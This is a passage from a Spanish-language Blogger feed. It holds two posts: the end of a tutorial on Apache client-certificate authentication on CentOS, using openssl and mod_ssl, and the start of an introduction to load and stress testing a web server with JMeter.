&lt;span style=&quot;color: #888888;&quot;&gt;Organization Name (eg, company) [Default Company Ltd]:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Organizational Unit Name (eg, section) []:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Common Name (eg, your name or your server&#39;s hostname) []:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Email Address []:&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Creamos nuestro propio certificado de autoridad de confianza con validez de dos años. Este certifica do &lt;b&gt;ca.crt &lt;/b&gt;sera quien firme el certificado de nuestro servidor web.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Firmamos el certificado con el CA&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[root@localhost ~]#&lt;/span&gt; openssl x509 -req -days 365 -CA ca.crt -CAkey ca.key -CAcreateserial -in server.csr -out server.crt
&lt;span style=&quot;color: #888888;&quot;&gt;Signature ok&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;subject=/C=CO/ST=COLOMBIA/L=BOGOTA/O=ANTONIOJORZ/emailAddress=frenyman@gmail.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Getting CA Private Key&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Enter pass phrase for ca.key:&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;Con el comando anterior estamos firmando el certificado del servidor web con nuestro &lt;b&gt;CA &lt;/b&gt;con una validez de 1 año, este comando nos generara un certificado&amp;nbsp;&lt;b&gt;CRT.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Generación de certificado Cliente&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Como decía al comenzar este post, lo buscado es que solo ciertas personas puedan ver nuestro sitio web y para eso crearemos este certificado cliente, como llave de acceso&lt;br /&gt;
El proceso es exactamente el mismo que los anteriores.&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[root@localhost ~]#&lt;/span&gt;openssl genrsa -des3 -out client.key 2048
&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[root@localhost ~]#&lt;/span&gt;openssl req -new -key client.key -out client.csr
&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[root@localhost ~]#&lt;/span&gt;openssl x509 -req -days 365 -CA ca.crt -CAkey ca.key -CAcreateserial -in client.csr -out client.crt
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Ya con esto tenemos nuestro certificado &lt;b&gt;cliente.crt &lt;/b&gt;y sus respectiva llaves ahora debemos pasar a unir estos archivos y convertirlos en único fichero con formato &lt;b&gt;&lt;a href=&quot;http://es.wikipedia.org/wiki/PKCS&quot; target=&quot;_blank&quot;&gt;PKCS#12&lt;/a&gt;&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[root@localhost ~]#&lt;/span&gt; openssl pkcs12 -export -in client.crt -inkey client.key -out client.p12
&lt;span style=&quot;color: #888888;&quot;&gt;Enter pass phrase for client.key:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Enter Export Password:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Verifying - Enter Export Password:&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
El comando al ejecutar solicita la contraseña para acceder a la llave cliente. y luego una contraseña para el certificado, yo la dejare nula.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b style=&quot;font-size: x-large;&quot;&gt;Preparando Apache y ModSSL&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Primero editamos el archivo de configuracion de &lt;b&gt;SSL &lt;/b&gt;para agregar los nombres y/o path de los certificados creados.&lt;br /&gt;
Abrimos el archivo&amp;nbsp;&lt;b&gt;/etc/httpd/conf.d/ssl.conf&lt;/b&gt;&lt;br /&gt;
Buscamos&lt;br /&gt;
&lt;b&gt;SSLCertificateFile&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;SSLCertificateKeyFile&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Y editamos con los nombres de los certificados generados en nuestro caso &lt;b&gt;&quot;server&quot;&lt;/b&gt;&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;

&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #007020;&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #007020;&quot;&gt;SSLCertificateFile&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0; color: #dd2200;&quot;&gt;/etc/pki/tls/certs/server.crt&lt;/span&gt;
&lt;span style=&quot;color: #007020;&quot;&gt;SSLCertificateKeyFile&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0; color: #dd2200;&quot;&gt;/etc/pki/tls/private/server.key&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Ahora debemos indicarle ha Apache que debe solicitar dichos certificados.&lt;br /&gt;
Estando en el mismo fichero buscamos&amp;nbsp;&lt;b&gt;SSLVerifyClient y SSLVerifyDepth&lt;/b&gt;&lt;br /&gt;
descomentamos y editamos de la siguiente manera&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;SSLVerifyClient require
SSLVerifyDepth  1
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Donde indicaremos con la primera variable que se requiere de un certificado SSL para poder ver el sitio web y con la segunda variable estamos pasando el parametro del numero de certificadoras autorizadas que firmaron nuestro certificado, en nuestro caso &lt;b&gt;1 &lt;/b&gt;ya que fue autofirmado y no hay mas de 1 ente intermediando.&lt;br /&gt;
&lt;br /&gt;
Ahora buscamos lo siguiente&amp;nbsp;&lt;b&gt;SSLCACertificateFile.&lt;/b&gt;&lt;br /&gt;
descomentamos y editamos el nombre de nuestro certificado de confianza, en nuestro caso &lt;b&gt;CA.crt&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #888888;&quot;&gt;SSLCACertificateFile /etc/pki/tls/certs/ca.crt&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;
Guardamos y reiniciamos&amp;nbsp;&lt;b&gt;Apache.&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[root@localhost ~]#&lt;/span&gt; service httpd restart
&lt;span style=&quot;color: #888888;&quot;&gt;Stopping httpd:                                            [FAILED]&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Starting httpd: httpd: Could not reliably determine the server&#39;s fully qualified domain name, using localhost.localdomain for ServerName&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Apache/2.2.15 mod_ssl/2.2.15 (Pass Phrase Dialog)&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Some of your private key files are encrypted for security reasons.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;In order to read them you have to provide the pass phrases.&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;Server localhost.localdomain:443 (RSA)&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Enter pass phrase:&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;OK: Pass Phrase Dialog successful.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;                                                           [  OK  ]&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Apache nos solicitara la contraseña quemada en la llave privada del servidor.&lt;br /&gt;
&lt;br /&gt;
Si requieren que no se las solicite cada vez que reinicien deben decifrar con openssl la llave con la misma contraseña quemada. claro esta que esto se considera un riesgo de seguridad.&lt;br /&gt;
&lt;br /&gt;
Una vez reiniciado el servicio de &lt;b&gt;Apache. &lt;/b&gt;ingresamos al navegador y digitamos la ip del servidor bajo el protocolo &lt;b&gt;HTTPS.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB2h5xY8u4RebR3eOyMAc5QhkkfwNS1SB2Tvo0Eewmupj-JpU7i6ZhAi6jyd2vKnFCIT_n4aNrYAq1EPjoAFB64Cy2uQYEcvZBjRmXzdFR2OECoouIV-1Pj-DSX-l-NM6aNlEelnyf1iQ/s1600/error.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;377&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB2h5xY8u4RebR3eOyMAc5QhkkfwNS1SB2Tvo0Eewmupj-JpU7i6ZhAi6jyd2vKnFCIT_n4aNrYAq1EPjoAFB64Cy2uQYEcvZBjRmXzdFR2OECoouIV-1Pj-DSX-l-NM6aNlEelnyf1iQ/s640/error.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
al intentar ver la web veremos que no es visible y requeriremos del certificado de autenticacion cliente &quot;&lt;b&gt;cliente.p12&quot;&lt;/b&gt;&amp;nbsp;el que fue anteriormente empaquetado.&lt;br /&gt;
&lt;br /&gt;
Si nos encontramos en sistemas windows simplemente hacemos doble clic en el archivo &lt;b&gt;cliente.p12&lt;/b&gt;&amp;nbsp;y siga los pasos de importación. este importara y aplicara (Funcional para navegadores chrome e IE)&lt;br /&gt;
&lt;br /&gt;
para navegadores basados en &lt;b&gt;firefox &lt;/b&gt;se debe agregar independientemente. Para importarlo simplemente nos vamos a:&lt;br /&gt;
&lt;b&gt;Menu--&amp;gt;Opciones--&amp;gt;Avanzado--&amp;gt;Certificados--&amp;gt;Ver Certificados --&amp;gt;Sus Certificados&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
una vez importado el certificado actualizamos navegador este nos solicitara selecionar un certificado como autenticacion.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZYkdlvJyk_PRkpzqdGYtoER_LVIIMT0nRU5pu87xegKuwXc1OArjQVcDVu3bRfSbrBwnmKsWz0mM3YnpmBY_PhVdhsXuN2NitkQH39yLNkRiEuaxHDRY0kFEt5tX0hQ7MWvc1piwMtFA/s1600/sel-cert.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;399&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZYkdlvJyk_PRkpzqdGYtoER_LVIIMT0nRU5pu87xegKuwXc1OArjQVcDVu3bRfSbrBwnmKsWz0mM3YnpmBY_PhVdhsXuN2NitkQH39yLNkRiEuaxHDRY0kFEt5tX0hQ7MWvc1piwMtFA/s640/sel-cert.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Una vez selecionado el Certificado de autenticacion este nos permitira ver nuestra web.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPMgnNfMNvxvN1dEZUo6hsZCzY0qLEFhCC7xSi7hr2TCzDNpjuqw8lITtWLC1bhu3mRSNQqHNmZcmndt8cO9mA27lqvZ9doUvNbjCNX5SQhHqK6jxihv_JJFwlhO8ZSmWTD8-48LCOV6E/s1600/web-ok.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;118&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPMgnNfMNvxvN1dEZUo6hsZCzY0qLEFhCC7xSi7hr2TCzDNpjuqw8lITtWLC1bhu3mRSNQqHNmZcmndt8cO9mA27lqvZ9doUvNbjCNX5SQhHqK6jxihv_JJFwlhO8ZSmWTD8-48LCOV6E/s640/web-ok.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;br /&gt;
&lt;br /&gt;
Post basado en la fuente y reformado para CentOS.&lt;br /&gt;
&lt;a href=&quot;http://chuwiki.chuidiang.org/index.php?title=Crear_e_instalar_certificados_digitales_en_Apache_HttpServer#Creaci.C3.B3n_de_un_certificado_para_el_cliente&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Fuente&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/4855960359761482902/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/06/autenticacion-web-basada-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/4855960359761482902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/4855960359761482902'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/06/autenticacion-web-basada-en.html' title='Autenticacion web basada en certificados SSL (CentOS)'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9wAr1b4aAJfKIW9-6gSZYpvJhNF5xPbheXFqbyhI-q6RDyCxG77wecgA5LpkCZyXY5ErTIfAxrBiq4cnaO4lUzZbnP6yMYhwTbRITndpHCb8TXMdNnIvgA3hyphenhyphen9o0gQxJfXo2UIDrDDVo/s72-c/openssl-logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-5348574273831054944</id><published>2015-05-21T19:05:00.002-05:00</published><updated>2015-05-21T19:06:03.767-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ethical hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Jmeter"/><category scheme="http://www.blogger.com/atom/ns#" term="pruebas de estres"/><category scheme="http://www.blogger.com/atom/ns#" term="pruebas de rendimiento"/><category scheme="http://www.blogger.com/atom/ns#" term="Stress Testing"/><title type='text'>Prueba de carga y estrés con Jmeter</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzaFjLKpk-mcIH5LKyQWGLNTMZDVvkX2CR-eIbcXPYhoYK_hRQ7dh4w5eY2NvqWphJV8DmBRpBJGknJ4g8eFP2-7YOwU-h2Kxh9A_5vsHyXxybSvrMzq1v3ovV4Oc1vk_FPRhC0CDmIAY/s1600/37+(1).jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzaFjLKpk-mcIH5LKyQWGLNTMZDVvkX2CR-eIbcXPYhoYK_hRQ7dh4w5eY2NvqWphJV8DmBRpBJGknJ4g8eFP2-7YOwU-h2Kxh9A_5vsHyXxybSvrMzq1v3ovV4Oc1vk_FPRhC0CDmIAY/s320/37+(1).jpg&quot; width=&quot;309&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;b&gt;Performance Testing&lt;/b&gt;&amp;nbsp;o prueba de rendimiento tiene como objetivo eliminar “cuellos de botella” en la ejecución de una aplicación y poder determinar una medida aceptable para su funcionamiento,&lt;br /&gt;
&lt;br /&gt;
Con esa simple definición podemos conocer profundamente la intención &amp;nbsp;de realizar este tipo de pruebas a nuestros servicios o aplicaciones y tener una perspectiva de su funcionamiento,&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Load Testing &lt;/b&gt;o prueba de carga es un proceso progresivo en el cual se va aumentando la carga (usuarios, transacciones, peticiones) en el sistema.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Stress Testing &lt;/b&gt;o prueba de estrés en esta se busca forzar a una falla en el sistema excediendo los recursos y verificar su comportamiento ante esta situación.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;¿Por qué utilizar este tipo de pruebas?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Por que nos ayuda a encontrar fallas en los servicios y tener una perspectiva de su solidez antes de entrar a producción, las pruebas de estrés aumentan la posibilidad de encontrar errores de concurrencia o problemas de memoria (Buffer Overflow)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;¿Cual es la&amp;nbsp;diferencia&amp;nbsp;entre los test load y stress?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Normalmente se ven como sinónimos,&amp;nbsp;sin embargo el concepto de pruebas de estrés abarca mas allá que un test de carga, y nos ayuda a determinar el comportamiento de un sistema bajo un nivel de exigencia (Stress) mayor al que es capaz de manejar, de ahí el origen de su nombre.&lt;br /&gt;
&lt;br /&gt;
En estos Test el sistema se satura y los escenarios más comunes suelen ser:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;El sistema apila y desecha peticiones&lt;/li&gt;
&lt;li&gt;El sistema responde con una latencia a las peticiones.&lt;/li&gt;
&lt;li&gt;El sistema colapsa y queda fuera de línea. (DOS)&lt;/li&gt;
&lt;/ul&gt;
En términos simples:&lt;br /&gt;
&lt;b&gt;Load Testing&lt;/b&gt; = Gran cantidad de usuarios&lt;br /&gt;
&lt;b&gt;Stress Testing&lt;/b&gt; =&amp;nbsp;Demasiados usuarios, demasiados datos, demasiadas peticiones, poca memoria, poco espacio&lt;br /&gt;
&lt;br /&gt;
Los ataques DOS o DDOS están basados en este principio inundan de peticiones el objetivo llevando a un nivel de estrés y si no se encuentra bien protegido el objetivo colapsa.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Test&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Normalmente este tipo de pruebas suelen ser usados en servidores web&#39;s llámese&amp;nbsp;Apache, Nginx, lighthttpd, Cherokee o incluso IIS. pero tambien puede usar el mismo principio para pruebas de software (Desktop) o cualquier sistema de información.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Todos estos servidores web en su configuración por defecto trabajan excelente pero los sitios web albergados pueden convertirse en una fuente de carga estresante para el servidor y forzando a colapsar los servicios.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Existen diversas formas tanto manuales, y herramientas automatizadas para realizar este tipo de pruebas. algunos automatizados son Jmeter, siege, ab (ApacheBench),&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Nuestro ambiente de simulación es el siguiente:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Servidor CentOS 6.3&lt;/li&gt;
&lt;li&gt;Apache 2.2.15 (Configuración por defecto) lo invito a ver el hardening de esta &lt;a href=&quot;http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte2.html&quot; target=&quot;_blank&quot;&gt;app&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;PHP&amp;nbsp;5.3.3&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Simulare un esfuerzo con la herramienta &lt;b&gt;&lt;a href=&quot;http://jmeter.apache.org/download_jmeter.cgi&quot; target=&quot;_blank&quot;&gt;Jmeter &lt;/a&gt;&lt;/b&gt;de &lt;b&gt;Apache &lt;/b&gt;con el se pueden realizar pruebas de carga y stress sobre servidores, esta herramienta requiere una version java &amp;gt;= 1.6:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Web - HTTP, HTTPS&lt;/li&gt;
&lt;li&gt;SOAP&lt;/li&gt;
&lt;li&gt;BD via JDBC&lt;/li&gt;
&lt;li&gt;LDAP&lt;/li&gt;
&lt;li&gt;JMS&lt;/li&gt;
&lt;li&gt;Mail - SMTP(S), POP3(S) y IMAP(S)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
JMeter puede hacer peticiones distribuidas&amp;nbsp;puede encontrar mas info &lt;a href=&quot;https://jmeter.apache.org/usermanual/jmeter_distributed_testing_step_by_step.pdf&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;aqui&lt;/a&gt;&lt;br /&gt;
Una vez tenga instalado el Jmeter ejecutamos el script Jmeter ubicado &lt;b&gt;/bin &lt;/b&gt;dentro de la carpeta de J&lt;b&gt;meter &amp;nbsp;&lt;/b&gt;esto si quiere usar el modo GUI.&lt;br /&gt;
&lt;br /&gt;
Al ejecutarlo nos encontraremos con la GUI &amp;nbsp;en el cual nos solicita crear un plan de Pruebas :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihioWGaVpMNv-NHUErlVoHzL6hJtIiKntQvgB2qq5MmgA04VutgaZ4tNLosT6diRLnPBxrF79W1k3YtUJTJeoS9TuDtlEjU1wpkj-9rrLJKXGN2r94MNyNLoV1BONGTnQHJWwnmG1s6h4/s1600/test+plan.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;312&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihioWGaVpMNv-NHUErlVoHzL6hJtIiKntQvgB2qq5MmgA04VutgaZ4tNLosT6diRLnPBxrF79W1k3YtUJTJeoS9TuDtlEjU1wpkj-9rrLJKXGN2r94MNyNLoV1BONGTnQHJWwnmG1s6h4/s640/test+plan.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Un plan de prueba se compone de una secuencia de componentes que determinaran cómo se simulará la prueba de carga. Ahora podemos añadir elementos a este plan de pruebas. jMeter permite muchos tipos diferentes de peticiones a practicar como mencione anteriormente, nosotros nos limitaremos al HTTP&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. Agregamos un&amp;nbsp;&lt;b&gt;Thread Group&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Clic derecho en &lt;b&gt;Test Plan &amp;gt;Add&amp;gt;Threads (Users) &amp;gt;Thread Group&amp;nbsp;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Thread Group&amp;nbsp;&lt;/b&gt;tiene tres propiedades particularmente importantes que influyen en la prueba.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Number of Threads (users):&lt;/b&gt;&amp;nbsp;Numero de usuarios a simular&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Ramp-Up Period (in seconds): &lt;/b&gt;Tiempo que Jmeter distribuira los Threads&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Loop Count: &lt;/b&gt;El numero de veces que se ejecutara la prueba.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCyuQFMvzGlYnhfUtGSO_xJJYVP1CBDiGVyNSeahS4D3_5cYOUMBPbiBREV_oxk6Q2T4sVwxgWB69wvHb3VQczjYwIdvJ_3T9wOmBKnXG2E1R-oJXwo9D691AA5YAnxuRmLU9RKyJU51Q/s1600/Thread-Group.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;230&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCyuQFMvzGlYnhfUtGSO_xJJYVP1CBDiGVyNSeahS4D3_5cYOUMBPbiBREV_oxk6Q2T4sVwxgWB69wvHb3VQczjYwIdvJ_3T9wOmBKnXG2E1R-oJXwo9D691AA5YAnxuRmLU9RKyJU51Q/s640/Thread-Group.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
2. Agregamos un &lt;b&gt;HTTP Request Defaults&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Clic derecho en&amp;nbsp;&lt;b&gt;Test Plan &amp;gt;Add&amp;gt;Config Element &amp;gt;HTTP Request Default&amp;nbsp;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Este elemento es utilizado para establecer los valores predeterminados para las peticiones HTTP en nuestro plan de pruebas.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
